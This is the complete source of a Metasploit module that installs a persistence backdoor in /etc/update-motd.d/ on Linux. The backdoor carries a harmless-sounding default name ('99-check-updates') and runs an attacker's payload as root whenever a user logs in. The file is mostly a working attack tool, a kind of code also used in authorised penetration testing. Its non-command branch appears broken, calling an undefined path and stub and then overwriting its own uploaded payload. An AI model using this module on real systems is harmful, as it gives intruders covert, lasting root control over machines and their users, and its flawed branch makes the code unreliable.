## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Unix include Msf::Exploit::EXE # for generate_payload_exe include Msf::Exploit::Local::Persistence prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Deprecated moved_from 'exploits/linux/local/motd_persistence' def initialize(info = {}) super( update_info( info, 'Name' => 'update-motd.d Persistence', 'Description' => %q{ This module will add a script in /etc/update-motd.d/ in order to persist a payload. The payload will be executed with root privileges everytime a user logs in. Root privileges are likely required to write to /etc/update-motd.d/. Verified on Ubuntu 22.04 }, 'License' => MSF_LICENSE, 'Author' => [ 'Julien Voisin' ], 'Platform' => [ 'unix', 'linux' ], 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_ARMLE, ARCH_AARCH64, ARCH_PPC, ARCH_MIPSLE, ARCH_MIPSBE ], 'Payload' => { 'BadChars' => '#%\n"' }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Targets' => [ ['Automatic', {}] ], 'Privileged' => true, 'DefaultTarget' => 0, 'DisclosureDate' => '1999-01-01', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'References' => [ ['URL', 'https://manpages.ubuntu.com/manpages/oracular/en/man5/update-motd.5.html'], ] ) ) register_options([ OptString.new('BACKDOOR_NAME', [true, 'The filename of the backdoor', '99-check-updates']), OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']), ]) end def check return CheckCode::Safe('/etc/update-motd.d/ does not exist') unless exists? '/etc/update-motd.d/' return CheckCode::Safe('/etc/update-motd.d/ is not writable') unless writable? '/etc/update-motd.d/' print_warning("#{datastore['BACKDOOR_NAME']} already exists") if exists? "/etc/update-motd.d/#{datastore['BACKDOOR_NAME']}" CheckCode::Appears('/etc/update-motd.d/ is writable') end def install_persistence update_path = '/etc/update-motd.d/' backdoor_path = "#{update_path}/#{datastore['BACKDOOR_NAME']}" if exists? backdoor_path fail_with Failure::BadConfig, "#{backdoor_path} is already present" end if payload.arch.first == 'cmd' write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}") else backdoor_path = writable_dir backdoor_path = backdoor_path.end_with?('/') ? backdoor_path : "#{backdoor_path}/" backdoor_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) backdoor_path << backdoor_name print_status("Uploading payload file to #{backdoor_path}") upload_and_chmodx backdoor_path, generate_payload_exe write_file(path, (autostart_stub + ["Exec=\"#{backdoor_path}\""]).join("\n")) @clean_up_rc << "rm #{backdoor_path}\n" end write_file(backdoor_path, "#!/bin/sh\n#{payload.encoded}") @clean_up_rc << "rm #{backdoor_path}\n" chmod(backdoor_path, 0o755) print_status "#{backdoor_path} written" print_good('Payload will be triggered at user login') end end